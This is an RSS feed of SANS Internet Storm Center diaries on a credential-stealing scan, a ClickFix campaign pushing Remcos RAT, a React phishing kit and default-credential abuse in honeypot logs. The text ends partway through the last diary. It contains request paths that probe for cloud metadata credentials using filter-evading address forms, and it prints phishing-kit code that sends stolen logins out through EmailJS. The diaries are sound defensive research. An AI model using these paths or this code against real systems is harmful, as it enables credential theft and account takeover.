<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="/css/rss.css" type="text/css"?>
<rss version="2.0" 
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
>
<channel>
<atom:link href="https://isc.sans.edu/rssfeed_full.xml" rel="self" type="application/rss+xml" />
<title>SANS Internet Storm Center, InfoCON: green</title>
<atom:link href="https://isc.sans.edu/rssfeed_full.xml" rel="self" type="application/rss+xml" /><link>https://isc.sans.edu</link><description><![CDATA[SANS Internet Storm Center - Cooperative Cyber Security Monitor]]></description><language>   en-us</language><lastBuildDate>   Tue, 17 Mar 2026 02:30:03 +0000</lastBuildDate><pubDate>Tue, 17 Mar 2026 02:00:02 GMT</pubDate><copyright>(C) SANS Institute 2026</copyright>
             <generator>isc rss feed maker</generator>
             <ttl>30</ttl>
             <webMaster>handlers@sans.org (ISC Handlers)</webMaster>
             <image>
               <title>SANS Internet Storm Center, InfoCON: green</title>
               <url>https://isc.sans.edu/images/status.gif</url>
               <link>https://isc.sans.edu</link>
             </image>
  <item>
    <title><![CDATA[ISC Stormcast For Tuesday, March 17th, 2026 https://isc.sans.edu/podcastdetail/9852, (Tue, Mar 17th)]]></title>
    <link>https://isc.sans.edu/diary/rss/32802</link>    <guid>https://isc.sans.edu/diary/rss/32802</guid><description><![CDATA[  (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></description><content:encoded><![CDATA[
 
 (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></content:encoded>    <pubDate>Tue, 17 Mar 2026 02:00:02 GMT</pubDate>  </item>  <item>
    <title><![CDATA[/proxy/ URL scans with IP addresses, (Mon, Mar 16th)]]></title>
    <link>https://isc.sans.edu/diary/rss/32800</link>    <guid>https://isc.sans.edu/diary/rss/32800</guid><description><![CDATA[ <p>Attempts to find proxy servers are among the most common scans our honeypots detect. Most of the time, the attacker attempts to use a host header or include the hostname in the URL to trigger the proxy server forwarding the request. In some cases, common URL prefixes like "/proxy/" are used. This weekend, I noticed a slightly different pattern in our logs:</p>&#xd;]]></description><content:encoded><![CDATA[<p>Attempts to find proxy servers are among the most common scans our honeypots detect. Most of the time, the attacker attempts to use a host header&nbsp;or include the hostname in the URL&nbsp;to trigger the proxy server forwarding the request. In some cases, common URL prefixes like &quot;/proxy/&quot; are used. This weekend, I noticed a slightly different pattern in our logs:</p>

<table border="1">
	<thead>
		<tr>
			<th>First Seen</th>
			<th>Last Seen</th>
			<th>Count</th>
			<th>Path</th>
		</tr>
	</thead>
	<tbody>
		<tr>
			<td>2026-03-15</td>
			<td>2026-03-16</td>
			<td>2</td>
			<td>/proxy/http:/[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/</td>
		</tr>
		<tr>
			<td>2026-03-15</td>
			<td>2026-03-16</td>
			<td>2</td>
			<td>/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/</td>
		</tr>
		<tr>
			<td>2026-03-15</td>
			<td>2026-03-16</td>
			<td>2</td>
			<td>/proxy/http:/169.254.169.254/latest/meta-data/iam/security-credentials/</td>
		</tr>
		<tr>
			<td>2026-03-15</td>
			<td>2026-03-16</td>
			<td>2</td>
			<td>/proxy/absolute/[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/</td>
		</tr>
		<tr>
			<td>2026-03-15</td>
			<td>2026-03-16</td>
			<td>2</td>
			<td>/proxy/absolute/[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/</td>
		</tr>
		<tr>
			<td>2026-03-15</td>
			<td>2026-03-16</td>
			<td>2</td>
			<td>/proxy/absolute/169.254.169.254/latest/meta-data/iam/security-credentials/</td>
		</tr>
		<tr>
			<td>2026-03-15</td>
			<td>2026-03-16</td>
			<td>2</td>
			<td>/proxy/[0:0:0:0:0:ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document</td>
		</tr>
		<tr>
			<td>2026-03-15</td>
			<td>2026-03-16</td>
			<td>2</td>
			<td>/proxy/[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/</td>
		</tr>
		<tr>
			<td>2026-03-15</td>
			<td>2026-03-16</td>
			<td>2</td>
			<td>/proxy/[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document</td>
		</tr>
		<tr>
			<td>2026-03-15</td>
			<td>2026-03-16</td>
			<td>2</td>
			<td>/proxy/[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/</td>
		</tr>
		<tr>
			<td>2026-03-15</td>
			<td>2026-03-16</td>
			<td>2</td>
			<td>/proxy/169.254.169.254/latest/dynamic/instance-identity/document</td>
		</tr>
		<tr>
			<td>2026-03-16</td>
			<td>2026-03-16</td>
			<td>1</td>
			<td>/proxy/2852039166/latest/meta-data/iam/security-credentials/</td>
		</tr>
	</tbody>
</table>

<p>The intent of these requests is to reach the cloud metadata service, which is typically listening on 169.254.169.254, a non-routable link-local address. The &quot;security-credentials&quot; directory should list entities with access to the service, and can then lead to requests for key material used for authentication.</p>

<p>The attacker does not just use the IPv4 address, but attempts to bypasspass some filters by using the IPv4 mapped IPv6 address. The prefix ::ffff/96, followed by the IPv4 address, is used to express IPv4 addresses in IPv6. Note that these addresses are not intended to be routable, but just like 169.254.169.254 they may work on the host itself. In addition, the attacker is used the &quot;less apprviated&quot; form by specifying the first few bytes with 0:0:0:0. Finally, the long unsigned integer form of the IP address is used.</p>

<p>The meta data service is often exploited using SSRF vulenrabilities. However, the more modern &quot;version 2&quot; of the meta data service is attempting to prevent simple SSRF attacks by requiring two requests with different methods and specific custom headers. SSRF vulnerabilities are just like a less functional open proxy. In this case, the attacker assumes a full proxy, and an attack may not be prevented by the more modern meta data service implementation.</p>

<p>Modern web applications use proxies in many different forms. For example you may have API gateways, load balancers, web application firewalls or even still some proxies to bypass CORS constraints. Any of these cases is potentially vulenrable if badly configured. The above list of URLs may make a good starting point to test the implementation of your proxy.</p>

<p>--<br />
Johannes B. Ullrich, Ph.D. , Dean of Research, <a href="https://sans.edu">SANS.edu</a><br />
<a href="https://jbu.me/164">Twitter</a>|</p>

 
 (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></content:encoded>    <pubDate>Mon, 16 Mar 2026 13:48:54 GMT</pubDate>  </item>  <item>
    <title><![CDATA[ISC Stormcast For Monday, March 16th, 2026 https://isc.sans.edu/podcastdetail/9850, (Mon, Mar 16th)]]></title>
    <link>https://isc.sans.edu/diary/rss/32798</link>    <guid>https://isc.sans.edu/diary/rss/32798</guid><description><![CDATA[  (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></description><content:encoded><![CDATA[
 
 (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></content:encoded>    <pubDate>Mon, 16 Mar 2026 02:00:02 GMT</pubDate>  </item>  <item>
    <title><![CDATA[SmartApeSG campaign uses ClickFix page to push Remcos RAT, (Sat, Mar 14th)]]></title>
    <link>https://isc.sans.edu/diary/rss/32796</link>    <guid>https://isc.sans.edu/diary/rss/32796</guid><description><![CDATA[ <p><em><strong>Introduction</strong></em></p>&#xd;]]></description><content:encoded><![CDATA[<p><em><strong>Introduction</strong></em></p>

<p>This diary describes a Remcos RAT infection that I generated in my lab on Thursday, 2026-03-11. This infection was from the SmartApeSG campaign that used a ClickFix-style fake CAPTCHA page.</p>

<p>My previous in-depth diary about a SmartApeSG (ZPHP, HANEYMANEY)&nbsp;was i<a href="https://isc.sans.edu/diary/SmartApeSG+campaign+uses+ClickFix+page+to+push+NetSupport+RAT/32474">n November 2025</a>, when I saw NetSupport Manager RAT. Since then, I&#39;ve fairly consistently seen what appears to be Remcos RAT from this campaign.</p>

<p><em><strong>Finding SmartApeSG Activity</strong></em></p>

<p>As previously noted, I find SmartApeSG indicators from the <a href="https://infosec.exchange/@monitorsg">Monitor SG account</a> on Mastodon, and I use <a href="https://urlscan.io/search/#*">URLscan</a> to pivot on those indicators to find compromised websites with injected SmartApeSG script.</p>

<p><em><strong>Details</strong></em></p>

<p>Below is an image of HTML in a page from a legitimate but compromised website that shows the injected SmartApeSG script.</p>

<p><a href="https://isc.sans.edu/diaryimages/images/2026-03-14-ISC-diary-image-01.jpg"><img alt="" src="https://isc.sans.edu/diaryimages/images/2026-03-14-ISC-diary-image-01a.jpg" style="border-width: 2px; border-style: solid;" /></a><br />
<em>Shown above: Page from a legitimate but compromised site that highlights the injected SmartApeSG script.</em></p>

<p>The injected SmartApeSG script generates a fake CAPTCHA-style &quot;verify you are human&quot; page, which displays ClickFix-style instructions after checking a box on the page. A screenshot from this infection is shown below, and it notes the ClickFix-style script injected into the user&#39;s clipboard. Users are instructed to open a run window, paste the script into it, and hit the Enter key.</p>

<p><a href="https://isc.sans.edu/diaryimages/images/2026-03-14-ISC-diary-image-02.jpg"><img alt="" src="https://isc.sans.edu/diaryimages/images/2026-03-14-ISC-diary-image-02a.jpg" style="border-width: 2px; border-style: solid;" /></a><br />
<em>Shown above: Fake CAPTCHA page generated by a legitimate but compromised site, showing the ClickFix-style command.</em></p>

<p>I used Fiddler to reveal URLS from the HTTPS traffic, and I recorded the traffic and viewed it in Wireshark. Traffic from the infection chain is shown in the image below.</p>

<p><a href="https://isc.sans.edu/diaryimages/images/2026-03-14-ISC-diary-image-03.jpg"><img alt="" src="https://isc.sans.edu/diaryimages/images/2026-03-14-ISC-diary-image-03a.jpg" style="border-width: 2px; border-style: solid;" /></a><br />
<em>Shown above: Traffic from the infection in Fiddler and Wireshark.</em></p>

<p>After running the ClickFix-style instructions, the malware was sent as a ZIP archive and saved to disk with a <span style="font-family:Courier New,Courier,monospace;">.pdf</span> file extension. This appears to be Remcos RAT in a malicious package that uses DLL side-loading to run the malware. This infection was made persistent with an update to the Windows Registry.</p>

<p><a href="https://isc.sans.edu/diaryimages/images/2026-03-14-ISC-diary-image-04.jpg"><img alt="" src="https://isc.sans.edu/diaryimages/images/2026-03-14-ISC-diary-image-04a.jpg" style="border-width: 2px; border-style: solid;" /></a><br />
<em>Shown above: Malware from the infection persistent on an infected Windows host.</em></p>

<p><em><strong>Indicators of Compromise</strong></em></p>

<p>Injected SmartApeSG script injected into page from legitimate but compromised site:</p>

<ul>
	<li><span style="font-family:Courier New,Courier,monospace;">hxxps[:]//cpajoliette[.]com/d.js</span></li>
</ul>

<p>Traffic to domain hosting the fake CAPTCHA page:</p>

<ul>
	<li><span style="font-family:Courier New,Courier,monospace;">hxxps[:]//retrypoti[.]top/endpoint/signin-cache.js</span></li>
	<li><span style="font-family:Courier New,Courier,monospace;">hxxps[:]//retrypoti[.]top/endpoint/login-asset.php?Iah0QU0N</span></li>
	<li><span style="font-family:Courier New,Courier,monospace;">hxxps[:]//retrypoti[.]top/endpoint/handler-css.js?00109a4cb788daa811</span></li>
</ul>

<p>Traffic generated by running the ClickFix-style script:</p>

<ul>
	<li><span style="font-family:Courier New,Courier,monospace;">hxxp[:]//forcebiturg[.]com/boot</span>&nbsp; &lt;-- 302 redirect to HTTPS URL</li>
	<li><span style="font-family:Courier New,Courier,monospace;">hxxps[:]//forcebiturg[.]com/boot</span>&nbsp; &lt;-- returned HTA file</li>
	<li><span style="font-family:Courier New,Courier,monospace;">hxxp[:]//forcebiturg[.]com/proc</span>&nbsp; &lt;-- 302 redirect to HTTPS URL</li>
	<li><span style="font-family:Courier New,Courier,monospace;">hxxps[:]//forcebiturg[.]com/proc</span>&nbsp; &lt;-- returned ZIP archive archive with files for Remcos RAT</li>
</ul>

<p>Post-infection traffic for Remcos RAT:</p>

<ul>
	<li><span style="font-family:Courier New,Courier,monospace;">193.178.170[.]155:443</span> - TLSv1.3 traffic using self-signed certificate</li>
</ul>

<p>Example of ZIP archive for Remcos RAT:</p>

<ul>
	<li>SHA256 hash: <span style="font-family:Courier New,Courier,monospace;">b170ffc8612618c822eb03030a8a62d4be8d6a77a11e4e41bb075393ca504ab7</span></li>
	<li>File size: 92,273,195 bytes</li>
	<li>File type: Zip archive data, at least v2.0 to extract, compression method=deflate</li>
	<li>Example of saved file location: <span style="font-family:Courier New,Courier,monospace;">C:\Users\[username]\AppData\Local\Temp\594653818\594653818.pdf</span></li>
</ul>

<p>Of note, the files, URLs and domains for SmartApeSG activity change on a near-daily basis, and the indicators described in this article are likely no longer current. However, the overall patterns of activity for SmartApeSG have remained fairly consistent over the past several months.</p>

<p>---<br />
Bradley Duncan<br />
brad [at] malware-traffic-analysis.net</p>

 
 (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></content:encoded>    <pubDate>Sat, 14 Mar 2026 01:19:49 GMT</pubDate>  </item>  <item>
    <title><![CDATA[A React-based phishing page with credential exfiltration via EmailJS, (Fri, Mar 13th)]]></title>
    <link>https://isc.sans.edu/diary/rss/32794</link>    <guid>https://isc.sans.edu/diary/rss/32794</guid><description><![CDATA[ <p>On Wednesday, a phishing message made its way into our handler inbox that contained a fairly typical low-quality lure, but turned out to be quite interesting in the end nonetheless. That is because the accompanying credential stealing web page was dynamically constructed using React and used a legitimate e-mail service for credential collection.</p>&#xd;]]></description><content:encoded><![CDATA[<p>On Wednesday, a phishing message made its way into our handler inbox that contained a fairly typical low-quality lure, but turned out to be quite interesting in the end nonetheless. That is because the accompanying credential stealing web page was dynamically constructed using React and used a legitimate e-mail service for credential collection.</p>

<p>But before we get to the details, let&rsquo;s take a quick look at the initial message.&nbsp;The e-mail pretended to be a notification about a list of files shared with us through the legitimate WeTransfer service.</p>

<p>I mentioned that the lure used in the message was of low-quality because, as you can see in the following image, the files in question were supposedly sent by someone using our own e-mail address&hellip; Which would probably be at least a little suspicious to any recipient.</p>

<p><a href="https://isc.sans.edu/diaryimages/images/26-03-17-phish.png"><img alt="" src="https://isc.sans.edu/diaryimages/images/26-03-17-phish.png" style="border-width: 1px; border-style: solid; width: 800px; height: 445px;" /></a></p>

<p>The body of the message included a list of files that were supposedly part of the transfer &ndash; in total the message claimed that 76 items with a combined size of 1010 MB were shared with us (or with the intended victim, to be more general).</p>

<p>Messages of this type are quite ubiquitous and the only reason why I decided to spend any time on this one was the link it contained. It pointed to the following URL:</p>

<pre>
<code>hxxps[:]//crimson-pine-6e12[.]gstmfhxzvbxk[.]workers[.]dev/?%D0%BF%D1%80%D0%BE86%D0%B3%D1%80%D0%B0=handlers@isc.sans.edu()Dropbox%20Community</code></pre>

<p>Embedding the recipient&rsquo;s e-mail address in the query string is something we see fairly frequently in phishing campaigns, but the ending of the parameter string with &ldquo;()Dropbox Community&rdquo; caught my attention.</p>

<p>Another small detail that somewhat stood out was the encoded portion at the beginning of the query parameter, which used percent-encoded UTF-8 byte sequences that did not correspond to standard ASCII characters.</p>

<pre>
<code>%D0%BF%D1%80%D0%BE86%D0%B3%D1%80%D0%B0</code></pre>

<p>When decoded, the first characters correspond to Cyrillic letters, specifically:</p>

<p><img alt="" src="https://isc.sans.edu/diaryimages/images/26-03-17-program1.png" style="width: 120px; height: 27px;" /></p>

<p>This appears to be a truncated fragment of the Russian word for a program:</p>

<p><img alt="" src="https://isc.sans.edu/diaryimages/images/26-03-17-program2.png" style="width: 140px; height: 26px;" /></p>

<p>The reason for including this fragment is unclear, but it provides an indicator of the language the authors of the phishing might have spoken (since one wouldn&rsquo;t expect any false-flag attempts in a generic phishing campaign such as this one).</p>

<p>As you may have noted, the link used in the message pointed to a Cloudflare Workers domain (workers.dev), which, apart from its legitimate use, has become a convenient hosting platform for short-lived malicious infrastructure in recent years[<a href="https://developers.cloudflare.com/workers/">1</a>,<a href="https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing">2</a>].</p>

<p>The link led to a fake Dropbox Transfer page showing what appeared to be a file download portal with a list of documents displayed over a looping video.</p>

<p><a href="https://isc.sans.edu/diaryimages/images/26-03-17-page.png"><img alt="" src="https://isc.sans.edu/diaryimages/images/26-03-17-page.png" style="border-width: 1px; border-style: solid; width: 800px; height: 368px;" /></a></p>

<p>Selecting any of the download options resulted in a login prompt requesting the user&rsquo;s e-mail address and password before access to the files would (supposedly) be granted.</p>

<p><a href="https://isc.sans.edu/diaryimages/images/26-03-17-login.png"><img alt="" src="https://isc.sans.edu/diaryimages/images/26-03-17-login.png" style="border-width: 1px; border-style: solid; width: 800px; height: 368px;" /></a></p>

<p>While the user interface itself was fairly typical for a phishing page, its structure was somewhat more interesting.</p>

<p>Inspecting the page source revealed that the HTML document was almost empty and consisted mainly of a single placeholder element together with a reference to a JavaScript bundle <em>main.90eaa1b0.js</em>&nbsp;(the additional hidden elements were unrelated to the visible interface and were likely artifacts of the phishing kit or simple attempts to evade automated scanning).</p>

<pre>
<code class="language-html">&lt;!doctype html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
...
&lt;title&gt;Dropbx - Collaboration Document&lt;/title&gt;
&lt;script defer="defer" src="/static/js/main.90eaa1b0.js"&gt;
&lt;/script&gt;
&lt;link href="/static/css/main.3a3f297d.css" rel="stylesheet"&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;noscript&gt;You need to enable JavaScript to run this app.&lt;/noscript&gt;
&lt;div class="hello_world"&gt;
&lt;/div&gt;
&lt;div id="root"&gt;
&lt;/div&gt;
&lt;div class="laravel_php"&gt;
&lt;p style="display:none!important"&gt;hello_world&lt;/p&gt;
&lt;/div&gt;
&lt;div class="os_webkit_moz_ms_fox"&gt;
&lt;h1 style="display:none!important"&gt;Introduction&lt;/h1&gt;
&lt;/div&gt;
&lt;div class="kungfu_panda_"&gt;
&lt;p style="display:none!important"&gt;hello_world&lt;/p&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>

<p>This indicated that the page was implemented as a single-page web application, where the interface was supposed to be rendered dynamically in the browser. This approach is much less common in phishing kits than static HTML pages and can somewhat complicate analysis if an analyst relies only on a landing page source code.</p>

<p>Opening the referenced JavaScript bundle confirmed the hypothesis and showed that the page was built using React[<a href="https://react.dev/">3</a>], since it contained the React runtime together with the application code. Typical runtime identifiers appeared throughout the file, as you can see in the following image.</p>

<p><a href="https://isc.sans.edu/diaryimages/images/26-03-17-react.png"><img alt="" src="https://isc.sans.edu/diaryimages/images/26-03-17-react.png" style="border-width: 1px; border-style: solid; width: 803px; height: 136px;" /></a></p>

<p>The entire phishing interface was therefore rendered dynamically once the JavaScript bundle executed and attached itself to the root HTML element.</p>

<p>The most interesting portion of the code appeared in the logic responsible for submitting the login form. The bundle contained a call to the EmailJS service[<a href="https://www.emailjs.com/docs/">4</a>], which allows web applications to send e-mails via its API directly from client-side JavaScript.</p>

<p>The three following code fragments show the relevant functionality:</p>

<ol>
	<li>Code responsible for sending a POST request to the EmailJS API
	<pre>
<code class="language-javascript">const D={origin:"https://api.emailjs.com", ...}

H=async function(e,t){
  ...
  const r=await fetch(D.origin+e,{method:"POST",headers:n,body:t}),
  ...
}</code></pre>

	<p>&nbsp;</p>
	</li>
	<li>Definition of a routine that builds the POST request body
	<pre>
<code class="language-javascript">X=async(e,t,n,r)=&gt;{
  const l=F(r),
        a=l.publicKey||D.publicKey,
        ...
  ...
  f.append("lib_version","4.4.1"),
  f.append("service_id",e),
  f.append("template_id",t),
  f.append("user_id",a),
  H("/api/v1.0/email/send-form",f)
}</code></pre>

	<p>&nbsp;</p>
	</li>
	<li>Code that supplies parameters for the POST request (strings inside this excerpt are EmailJS inputs &ndash; &ldquo;service_t8yu1k1&rdquo; is a service ID, &ldquo;template_vszijae&rdquo; is a template ID and the constant &ldquo;e&rdquo; contains a public API key)
	<pre>
<code class="language-javascript">const e="Z2Y07-t9AET4hviRq";
if(
  X("service_t8yu1k1","template_vszijae",r.current,{publicKey:e}).then((()=&gt;{console.log("a")}),(e=&gt;{console.log("e")})),
  ...
)</code></pre>

	<p>&nbsp;</p>
	</li>
</ol>

<p>Using this code, any credentials entered by a victim would be collected and transmitted through the EmailJS API.</p>

<p>It should further be mentioned that the JS code also queried the Geoapify IP information API[<a href="https://www.geoapify.com/ip-geolocation-api/">5</a>] to gather geographic metadata about the victim, which was then intended to be sent to the attackers along with the harvested credentials.</p>

<p>After the form submission the page would redirect the victim to the legitimate website (Dropbox), as is usual in similar circumstances.</p>

<p>Although the entire campaign is basically just a run-of-the-mill credential harvesting operation, from a technical standpoint, the phishing kit used is quite interesting. Both because the implementation through a React application bundled into a single JavaScript file can potentially be effective in evading simple security filters on web proxies that rely only on static HTML analysis, but also due to use of a legitimate third-party service for credential exfiltration instead of an attacker-controlled infrastructure.</p>

<p><strong>IoCs</strong><br />
<u>Phishing domain:</u><br />
crimson-pine-6e12.gstmfhxzvbxk.workers.dev<br />
<u>EmailJS identifiers:</u><br />
service_t8yu1k1<br />
template_vszijae</p>

<p>[1] <a href="https://developers.cloudflare.com/workers/">https://developers.cloudflare.com/workers/</a><br />
[2] <a href="https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing">https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing</a><br />
[3] <a href="https://react.dev/">https://react.dev/</a><br />
[4] <a href="https://www.emailjs.com/docs/">https://www.emailjs.com/docs/</a><br />
[5] <a href="https://www.geoapify.com/ip-geolocation-api/">https://www.geoapify.com/ip-geolocation-api/</a></p>

<p>-----------<br />
Jan Kopriva<br />
<a href="https://www.linkedin.com/in/jan-kopriva/">LinkedIn</a><br />
<a href="https://www.nettles.cz/">Nettles Consulting</a></p>

 
 (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></content:encoded>    <pubDate>Fri, 13 Mar 2026 07:20:58 GMT</pubDate>  </item>  <item>
    <title><![CDATA[ISC Stormcast For Friday, March 13th, 2026 https://isc.sans.edu/podcastdetail/9848, (Fri, Mar 13th)]]></title>
    <link>https://isc.sans.edu/diary/rss/32792</link>    <guid>https://isc.sans.edu/diary/rss/32792</guid><description><![CDATA[  (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></description><content:encoded><![CDATA[
 
 (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></content:encoded>    <pubDate>Fri, 13 Mar 2026 02:00:02 GMT</pubDate>  </item>  <item>
    <title><![CDATA[ISC Stormcast For Thursday, March 12th, 2026 https://isc.sans.edu/podcastdetail/9846, (Thu, Mar 12th)]]></title>
    <link>https://isc.sans.edu/diary/rss/32790</link>    <guid>https://isc.sans.edu/diary/rss/32790</guid><description><![CDATA[  (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></description><content:encoded><![CDATA[
 
 (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></content:encoded>    <pubDate>Thu, 12 Mar 2026 02:00:02 GMT</pubDate>  </item>  <item>
    <title><![CDATA[When your IoT Device Logs in as Admin, It&#x3f;s too Late&#x21; &#x5b;Guest Diary&#x5d;, (Wed, Mar 11th)]]></title>
    <link>https://isc.sans.edu/diary/rss/32788</link>    <guid>https://isc.sans.edu/diary/rss/32788</guid><description><![CDATA[ <p>&#x5b;This is a Guest Diary by Adam Thorman, an ISC intern as part of the SANS.edu <a href="https://www.sans.edu/cyber-security-programs/bachelors-degree/">BACS</a> program&#x5d;</p>&#xd;]]></description><content:encoded><![CDATA[<p>[This is a Guest Diary by Adam Thorman, an ISC intern as part of the SANS.edu <a href="https://www.sans.edu/cyber-security-programs/bachelors-degree/">BACS</a> program]</p>

<p><span style="font-size:16px;"><strong>Introduction</strong></span></p>

<p>Have you ever installed a new device on your home or company router? Even when setup instructions are straightforward, end users often skip the step that matters most: changing default credentials. The excitement of deploying a new device frequently outweighs the discipline of securing it.<br />
This diary explains a little real-world short story and then walks through my own internship observations overseeing a honeypot and vulnerability assessment that demonstrate just how quickly default credentials are discovered and abused.</p>

<p><span style="font-size:16px;"><strong>Default Credentials in a Real-World Example</strong></span></p>

<p>Default usernames and passwords remain the most exploited attack vector for Internet of Things (IoT) devices. Whether installation is performed by an end user or a contracted vendor, organizations must have a defined process to ensure credentials are changed immediately. Without that process, compromise is often a matter of when, not if.<br />
During a routine vulnerability assessment at work, I identified multiple IP addresses that were accessible using default credentials. These IPs belonged to a newly installed security system monitoring sensitive material. The situation was worse than expected:</p>

<ul>
	<li>The system was not placed on the proper VLAN</li>
	<li>Basic end user machines could reach it</li>
	<li>The username &ldquo;<span style="font-family:Courier New,Courier,monospace;">root</span>&rdquo; remained unchanged and password &ldquo;<span style="font-family:Courier New,Courier,monospace;">password</span>&rdquo; was changed to &ldquo;<span style="font-family:Courier New,Courier,monospace;">admin</span>&rdquo;</li>
</ul>

<p>This configuration was still trivial to guess and exploit, regardless of whether access was internal or external. From my point of view, it was easily guessed and accessed, like Figure 1 below.&nbsp;</p>

<p><img alt="" src="https://isc.sans.edu/diaryimages/images/Adam_Thorman_pic1.jpg" style="width: 350px; height: 468px;" /><br />
Figure 1 - Meme of Easily Bypassed Security Controls</p>

<p><span style="font-size:16px;"><strong>What Logs Showed?</strong></span></p>

<p>To better understand how common this issue is, I analyzed SSH and Telnet traffic across an eight-day period (January 18&ndash;25) and compared it with more recent data. This ties into the story above based on how many devices are kept with their default settings or slightly changed with common trivial combinations. These graphs were pulled from the Internet Storm Center (ISC) My SSH Reports page [<a href="https://isc.sans.edu/mysshreports/">2</a>], while the comparison was generated with ChatGPT tool.</p>

<p>JANUARY 27TH, 2026<br />
<img alt="" src="https://isc.sans.edu/diaryimages/images/Adam_Thorman_pic2.png" style="width: 483px; height: 183px;" /></p>

<p>FEBRUARY 17TH, 2026<br />
<img alt="" src="https://isc.sans.edu/diaryimages/images/Adam_Thorman_pic3.png" style="width: 528px; height: 173px;" /></p>

<p>COMPARISON<br />
<img alt="" src="https://isc.sans.edu/diaryimages/images/Adam_Thorman_pic4.png" style="width: 546px; height: 242px;" /></p>

<p>Across both datasets:</p>

<ul>
	<li>The username &ldquo;<span style="font-family:Courier New,Courier,monospace;">root</span>&rdquo; remained dominant at ~39%</li>
	<li>The password &ldquo;<span style="font-family:Courier New,Courier,monospace;">123456</span>&rdquo; increased from 15% to 27%</li>
	<li>These combinations strongly resembled automated botnet scanning behavior</li>
</ul>

<p>This aligns with publicly known credential lists that attackers use for large scale reconnaissance.</p>

<p><span style="font-size:16px;"><strong>Successful Connections</strong></span></p>

<p>During the analysis window, I observed:</p>

<ul>
	<li>44,269 failed connection attempts</li>
	<li>1,286 successful logins</li>
	<li>A success rate of only 2.9%</li>
</ul>

<p>That percentage may appear low, but it still resulted in over a thousand compromised sessions.<br />
To perform this analysis, I parsed Cowrie JSON logs using <span style="font-family:Courier New,Courier,monospace;">jq</span>, converted them to CSV files, and consolidated them into a single spreadsheet.</p>

<p>From the 1,286 successful connections:</p>

<ul>
	<li>621 used the username <span style="font-family:Courier New,Courier,monospace;">root</span></li>
	<li>154 used <span style="font-family:Courier New,Courier,monospace;">admin</span> as the password</li>
	<li>406 shared the same HASSH fingerprint <span style="font-family:Courier New,Courier,monospace;">2ec37a7cc8daf20b10e1ad6221061ca5</span></li>
	<li>47 sessions matched all three indicators</li>
</ul>

<p>The matched session to that hash is shown in APPENDIX A.</p>

<p><span style="font-size:16px;"><strong>What Attackers did After Logging in?</strong></span></p>

<p>Four session IDs stood out during review of the full report:<br />
1. eee64da853a9<br />
2. f62aa78aca0b<br />
3. 308d24ec1d36<br />
4. f0bc9f078bdd</p>

<p>Sessions 1 and 4 focused on reconnaissance, executing commands to gather system details such as CPU, uptime, architecture, and GPU information.</p>

<p>With the use of ChatGPT [<a href="https://chatgpt.com">3</a>], I was able to compare each session and the commands the attacker attempted to use.&nbsp; It was disclosed that Sessions 1 and 4 had reconnaissance from the topmost digital fingerprint HASSH.&nbsp; They both had the same command but with different timestamps. Refer to APPENDIX B for Session ID 1 and 2 command outputs.</p>

<p>Sessions <strong>2</strong> and <strong>3</strong> demonstrated more advanced behavior:</p>

<ul>
	<li>SSH key persistence</li>
	<li>Credential manipulation</li>
	<li>Attempts to modify account passwords</li>
</ul>

<p>Session <span style="font-family:Courier New,Courier,monospace;">308d24ec1d36</span> ranked as the most severe due to attempted password changes and persistence mechanisms that could have resulted in long term control if it was attempted on a real-world medium. Refer to APPENDIX C for Session ID 2 and 3 command outputs.</p>

<p><span style="font-size:16px;"><strong>Failed Attempts Tell a Bigger Story</strong></span></p>

<p>Failed authentication attempts revealed even more.</p>

<p>One digital fingerprint alone accounted for 18,846 failed attempts, strongly suggesting botnet driven scanning activity.</p>

<p>On January 19, 2026, there were 14,057 failed attempts in a single day &mdash; a significant spike compared to surrounding dates.</p>

<p>From a Security Operations Center (SOC) analyst&rsquo;s perspective, this level of activity represents a serious exposure risk.&nbsp; It could mean a botnet scanning campaign like the one observed by GreyNoise in late August 2025 [<a href="https://eclypsium.com/blog/cisco-asa-scanning-surge-cyberattack/">4</a>].&nbsp;</p>

<p>Below is a visual of the top usernames, passwords, and hashes across the analyzed timeframe.</p>

<p><img alt="" src="https://isc.sans.edu/diaryimages/images/Adam_Thorman_pic5.png" style="width: 624px; height: 101px;" /><br />
Figure 2 - Top Usernames, Passwords, and Digital Fingerprints</p>

